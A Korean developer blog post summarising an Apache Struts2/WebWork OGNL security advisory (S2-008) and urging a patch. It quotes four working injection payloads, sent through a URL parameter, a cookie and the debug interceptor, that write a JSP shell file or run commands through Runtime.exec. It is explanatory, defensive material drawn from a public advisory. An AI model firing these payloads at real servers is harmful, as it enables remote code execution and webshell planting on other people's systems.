OGNL 이슈 때문에 2010년에 업그레이드 한 적이 있었다.
http://knight76.tistory.com/entry/Webwork-보안-Webwork의-OGNL을-이용한-보안공격

이번에 또 보안 이슈가 있어서 얘기하고자 한다. 출처는 아래 웹이다.

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
http://struts.apache.org/2.x/docs/s2-008.html

결론부터 말하면, 2.2.1.1 을 패치해서 OGNL 보안 공격을 피해야 한다.

image

4가지 사례들이 올라왔다.

1) ExceptionDelegator 의 취약점

파라미터를 setting하면서 type 변환 exception을 발생시키면서 ognl 표현식이 실행되게 한다. 예를 들어 setting할 파리미터가 int나 long 타입일 때, type conversion이 안 되는 String값을 보내서 exception이 발생하게 하고 아래와 같은 문제성 많은 작업을 하게 할 수 있다.

/Test.action?id='%2b(new+java.io.BufferedWriter(
new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
/Test.action?id='%2b(
%23_memberAccess["allowStaticMethodAccess"]=true,
@java.lang.Runtime@getRuntime().exec('calc'))%2b'

 

2)  CookieInterceptor의 취약점

CookieInterceptor(쿠키 인터셉터)의 취약점을 이용한 것이다. 예를 들어 특정 명령어를 실행시킬 수 있다.

Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1;
x[@java.lang.Runtime@getRuntime().exec('calc')]=1
 
3) ParametersInterceptor 취약점
초기화 안된 String의 특정 필드에 대한 프로퍼티가 있는 클래스가 있을 때, 파라미터 인터셉터로
특정 파일을 만들어낼 수 있다.
/Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1
 
4) DebuggingInterceptor 취약점
webwork.properties파일(struts.properties파일)에서  webwork.devMode=true 로 되어 있을 때, 
DebuggingInterceptor 를 이용해서 공격이 가해 이상한 일을 꾸밀 수 있다.
/Test.action?debug=command&expression=%23_memberAccess
["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')
Posted by '김용환'
,